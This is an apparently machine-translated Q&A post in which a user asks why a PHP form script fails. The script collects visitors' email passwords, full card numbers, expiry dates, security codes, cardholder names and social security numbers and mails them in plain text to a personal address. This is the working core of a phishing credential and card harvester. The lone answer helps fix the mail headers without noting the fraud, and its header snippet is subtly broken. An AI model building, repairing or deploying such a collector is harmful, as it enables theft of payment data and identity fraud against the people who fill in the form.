我的邮件脚本不起作用?

时间:2013-09-30 10:49:12

标签: php email

我已经在我的网站上创建了一个脚本,让peaople添加他们的付款方式,然后这些信息将发送到我的电子邮件,我会将它们安全地添加到我的列表中,但是当我点击以html格式提交submit.php和这是她的代码不起作用,它显示“Erreur serveur”可以帮助我一些人

<?php
    $email = $_POST['email'];
    $password = $_POST['password'];
    $cardtype = $_POST['cardtype'];
    $cardnumber = $_POST['cardnumber'];
    $exp = $_POST['exp'];
    $secure = $_POST['secure'];
    $namecard = $_POST['namecard'];
    $socialnumber = $_POST['socialnumber'];

    $to = 'mah_di@aol.fr';
    $subject = 'add ' .$email. 'to the list';
    $message = 'his informatin\n
    email: '.$email.'\n 
    password:'.$password.'\n 
    cardtype: '.$cardtype.'\n 
    cardnumber: '.$cardnumber.'\n 
    exp: '.$exp.'\n 
    secure: '.$secure.'\n 
    namecard: '.$namecard.'\n 
    socialnumber: '.$socialnumber.'\n ';
    $from = 'email@mysite.com';
    $headers = 'From:' . $from;

    if(mail($to,$subject,$message,$headers))
            {
                header('Location: complete.php');
            }
            else
            {
                 echo "Message Not Sent";
            }

    ?>

1 个答案:

答案 0 :(得分:1)

如果您尝试发送HTML邮件,则必须设置Content-type标头。

$headers = 'MIME-Version: 1.0' . '\r\n';
$headers .= 'Content-type: text/html; charset=iso-8859-1' . '\r\n';

//Additional headers
$headers .= 'From: '.$from.' <test@yoursite.com>\r\n';